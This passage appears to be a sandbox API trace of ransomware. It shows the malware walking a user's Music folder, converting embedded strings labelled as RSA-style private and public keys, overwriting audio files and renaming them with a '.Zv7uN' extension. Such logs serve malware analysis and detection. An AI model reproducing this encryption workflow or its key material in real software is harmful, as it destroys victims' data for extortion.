ftCreationTime.dwLowDateTime=0xd7f9e170, ftCreationTime.dwHighDateTime=0x1d5e44d, ftLastAccessTime.dwLowDateTime=0xe2616c50, ftLastAccessTime.dwHighDateTime=0x1d5e14b, ftLastWriteTime.dwLowDateTime=0xe2616c50, ftLastWriteTime.dwHighDateTime=0x1d5e14b, nFileSizeHigh=0x0, nFileSizeLow=0x5ca9)) returned 1 [0086.549] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\0g 0mf.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\0g 0mf.m4a")) returned 0x20 [0086.549] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\0g 0mf.m4a", dwFileAttributes=0x80) returned 1 [0086.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.553] GetCurrentThreadId () returned 0xa30 [0086.553] GetCurrentThreadId () returned 0xa30 [0086.553] GetCurrentThreadId () returned 0xa30 [0086.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.554] GetCurrentThreadId () returned 0xa30 [0086.554] GetCurrentThreadId () returned 0xa30 [0086.554] GetCurrentThreadId () returned 0xa30 [0086.554] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\0g 0mf.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\0g 0mf.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.554] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0086.554] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.555] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x5ca9 [0086.555] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.555] ReadFile (in: hFile=0x11c, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x5ca9, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x5ca9, lpOverlapped=0x0) returned 1 [0086.557] CloseHandle (hObject=0x11c) returned 1 [0086.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\0g 0mf.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\0g 0mf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.560] WriteFile (in: hFile=0x11c, lpBuffer=0x1f1ee00*, nNumberOfBytesToWrite=0x5ca9, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f1ee00*, lpNumberOfBytesWritten=0x18f3e0*=0x5ca9, lpOverlapped=0x0) returned 1 [0086.563] CloseHandle (hObject=0x11c) returned 1 [0086.570] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\0g 0mf.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\0g 0mf.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\0g 0mf.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\0g 0mf.m4a.zv7un")) returned 1 [0086.571] GetCurrentThreadId () returned 0xa30 [0086.571] GetCurrentThreadId () returned 0xa30 [0086.571] GetCurrentThreadId () returned 0xa30 [0086.571] GetCurrentThreadId () returned 0xa30 [0086.571] GetCurrentThreadId () returned 0xa30 [0086.571] GetCurrentThreadId () returned 0xa30 [0086.571] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6fe9df0, ftCreationTime.dwHighDateTime=0x1d5d916, ftLastAccessTime.dwLowDateTime=0x3bc52500, ftLastAccessTime.dwHighDateTime=0x1d5d929, ftLastWriteTime.dwLowDateTime=0x3bc52500, ftLastWriteTime.dwHighDateTime=0x1d5d929, nFileSizeHigh=0x0, nFileSizeLow=0x14e7a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="A-cejVo6i.mp3", cAlternateFileName="A-CEJV~1.MP3")) returned 1 [0086.571] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.571] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.571] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\A-cejVo6i.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\a-cejvo6i.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6fe9df0, ftCreationTime.dwHighDateTime=0x1d5d916, ftLastAccessTime.dwLowDateTime=0x3bc52500, ftLastAccessTime.dwHighDateTime=0x1d5d929, ftLastWriteTime.dwLowDateTime=0x3bc52500, ftLastWriteTime.dwHighDateTime=0x1d5d929, nFileSizeHigh=0x0, nFileSizeLow=0x14e7a)) returned 1 [0086.571] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\A-cejVo6i.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\a-cejvo6i.mp3")) returned 0x20 [0086.571] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\A-cejVo6i.mp3", dwFileAttributes=0x80) returned 1 [0086.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCv